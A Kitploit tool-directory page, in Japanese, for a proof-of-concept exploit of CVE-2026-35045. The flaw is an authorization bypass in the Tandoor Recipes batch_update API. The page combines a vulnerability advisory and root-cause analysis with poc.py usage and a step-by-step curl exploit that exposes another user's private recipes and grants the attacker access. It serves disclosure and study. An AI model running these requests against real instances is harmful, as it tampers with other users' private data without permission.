Skip to content
KitploitKITPLOIT
ツールエクスプロイトブログ
Log in
提出
ツールエクスプロイトブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

フィードお問い合わせプライバシー© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
CVE-2026-35045-PoC — CVE-2026-35045の概念実証エクスプロイト。Tandoor Recipesにおけるオブジェクトレベル認可の欠陥(BOLA)を悪用し、batch_update APIエンドポイントを介した不正なレシピ改変を実証します。 | Kitploit
ツール/GitHubGitHub/filipegaudard/cve-2026-35045-poc
脆弱性分析エクスプロイトウェブアプリケーション悪用APIセキュリティテストペネトレーションテスト学習と教育
GitHubfilipegaudard/cve-2026-35045-poc

CVE-2026-35045-PoC

CVE-2026-35045の概念実証エクスプロイト。Tandoor Recipesにおけるオブジェクトレベル認可の欠陥(BOLA)を悪用し、batch_update APIエンドポイントを介した不正なレシピ改変を実証します。

リポジトリを見る
11196ヶ月前未レビュー

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有

CVE-2026-35045 — Tandoor Recipes におけるオブジェクトレベル認可の欠陥

CVE-2026-35045 GHSA CVSS 8.1 CWE-639

Affected Version Responsible Disclosure


概要

Tandoor Recipes v2.6.1 の PUT /api/recipe/batch_update/ エンドポイントは、スペース内の任意の認証済みユーザーがそのスペース内の任意のレシピ(他のユーザーが所有するプライベートレシピを含む)を変更することを許可します。これにより、すべての標準的な単一レシピエンドポイントで強制されるオブジェクトレベル認可チェックが完全にバイパスされます。

根本原因は Django REST Framework の動作上のギャップです: detail=False のリストアクションは has_object_permission() を決して呼び出さず、has_permission() のみを呼び出します。クエリセットは space=request.space のみでフィルタリングされ、created_by、private、shared リストのチェックは行われません。攻撃者は、プライベートレシピの強制公開、永続的アクセスの自己付与、他のユーザーの権限の剥奪、メタデータの改ざんを、すべて単一の認証らしき API 呼び出しで実行でき、空のボディで HTTP 200 OK が返されます。

脆弱性の詳細

フィールド値
CVE IDCVE-2026-35045
GHSAGHSA-v8x3-w674-55p5
CWECWE-639 — ユーザー制御キーによる認可バイパス
CVSS v3.18.1 HIGH — AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N
影響を受けるバージョンTandoor Recipes ≤ 2.6.1
ベンダーTandoorRecipes/recipes

MITRE ATT&CK マッピング

テクニック ID名称関連性
T1078有効なアカウント攻撃者は正当な低権限の認証情報を使用して認可をバイパスします
T1565.001保存データの改ざん他のユーザーが所有するプライベートレシピと ACL を変更します

根本原因分析

1. detail=False によるオブジェクトレベル権限チェックのバイパス

ファイル: cookbook/views/api.py

@decorators.action(detail=False, methods=['PUT'], serializer_class=RecipeBatchUpdateSerializer)
def batch_update(self, request):
    serializer = self.serializer_class(data=request.data, partial=True)
    if serializer.is_valid():
        recipes = Recipe.objects.filter(
            id__in=serializer.validated_data['recipes'],
            space=self.request.space   # ← created_by や private のチェックなし
        )

Django REST Framework では、detail=False で登録されたアクションはリストアクションです。これらは get_object() を決して呼び出さないため、check_object_permissions() と CustomRecipePermission.has_object_permission() は決して呼び出されません。実行されるのは has_permission() のみで、これはスペースのメンバーシップを検証するだけで、レシピの所有権は検証しません。

2. 標準エンドポイントは正しく保護されている

PUT /api/recipe/{id}/ は完全な DRF 権限フローに従います:

get_object()
  → check_object_permissions()
    → CustomRecipePermission.has_object_permission()
      → レシピがプライベートで、リクエスト者が所有者または共有相手でない場合、アクセスを拒否

batch_update エンドポイントはこのチェーン全体を黙ってスキップします。

3. バッチ経由で書き込み可能なフィールド

RecipeBatchUpdateSerializer は以下のフィールドを公開しており、スペース内の任意のレシピに対して書き込み可能です:

フィールド影響
privateレシピの可視性を切り替え
shared_add / shared_remove / shared_setアクセス制御リストを操作
keywords_add / keywords_remove / keywords_setレシピのメタデータを変更
working_time / waiting_timeレシピの時間データを変更

攻撃フロー

┌──────────┐   ① PUT /api/recipe/batch_update/    ┌─────────────────┐
│ 攻撃者   │ ─────────────────────────────────────→│  Tandoor サーバー │
│ (ユーザーB)│   {"recipes":[2],"private":false,     │                 │
│          │    "shared_add":[2]}                  │  has_permission()│
└──────────┘                                       │  ✓ (スペースメンバー)│
                                                   │                 │
                                                   │  has_object_    │
                                                   │  permission()   │
                                                   │  ✗ 呼び出されない │
                                                   └────────┬────────┘
                                                            │
                                              ② Recipe.objects.filter(
                                                 id__in=[2],
                                                 space=request.space
                                              )  ← 所有権チェックなし
                                                            │
                                                            ▼
                                                   ┌────────────────┐
                                                   │  レシピ ID 2   │
                                                   │  (A が所有)     │
                                                   │  private=false ← パッチ適用
                                                   │  shared=[2]  ← 自己付与
                                                   └────────┬───────┘
                                                            │
                                              ③ HTTP 200 OK — {}
                                                            │
                                                            ▼
                                                   ┌────────────────┐
                                                   │ 攻撃者 (B)     │
                                                   │ レシピ ID 2 への│
                                                   │ 完全なアクセスを │
                                                   │ 取得           │
                                                   └────────────────┘

概念実証

要件

  • Python 3.10+
  • requests ライブラリ
pip install requests

使用方法

# プライベートレシピを強制公開し、アクセスを自己付与(デフォルト)
python3 poc.py --url http://127.0.0.1:8085 \
               --username userB --password passB \
               --recipe-id 2 \
               --attacker-user-id 2

# 強制公開のみ(private=false を設定)
python3 poc.py --url http://127.0.0.1:8085 \
               --username userB --password passB \
               --recipe-id 2 \
               --attacker-user-id 2 \
               --action expose

# 自己付与のみ(shared リストに追加、private=true を維持)
python3 poc.py --url http://127.0.0.1:8085 \
               --username userB --password passB \
               --recipe-id 2 \
               --attacker-user-id 2 \
               --action self_grant

モジュール / アクション

アクション説明
expose対象レシピに private: false を設定 — スペースの全メンバーに可視化を強制
self_grant攻撃者のユーザー ID を shared_add に追加 — レシピがプライベートのままでも永続的なアクセスを付与
both単一リクエストで両方のアクションを実行(デフォルト)

手動検証 (curl)

1. 事前条件 — 標準エンドポイントではレシピにアクセス不可

curl -s -o /dev/null -w "%{http_code}" \
  http://TARGET:8085/api/recipe/2/ \
  -H "Cookie: sessionid=SESSION_B; csrftoken=CSRF_B"
# 期待値: 404 (プライベート、非所有)

2. エクスプロイト — 認可なしの batch_update

curl -X PUT 'http://TARGET:8085/api/recipe/batch_update/' \
  -H 'Content-Type: application/json' \
  -H 'X-CSRFToken: CSRF_B' \
  -H 'Cookie: csrftoken=CSRF_B; sessionid=SESSION_B' \
  -d '{"recipes": [2], "shared_add": [2], "private": false}'
# 期待値: HTTP 200 OK — {}

3. 事後条件 — レシピにアクセス可能になる

curl -s http://TARGET:8085/api/recipe/2/ \
  -H "Cookie: sessionid=SESSION_B; csrftoken=CSRF_B"
# 期待値: HTTP 200、レシピデータ付き、private=false

4. レシピ一覧で検証

curl -s 'http://TARGET:8085/api/recipe/' \
  -H 'Cookie: csrftoken=CSRF_B; sessionid=SESSION_B' \
  | python3 -c "import sys,json; [print(r['id'],r['name'],r['private']) for r in json.load(sys.stdin)['results']]"
# 期待値: 2  <recipe_name>  False

影響

ツールをダウンロード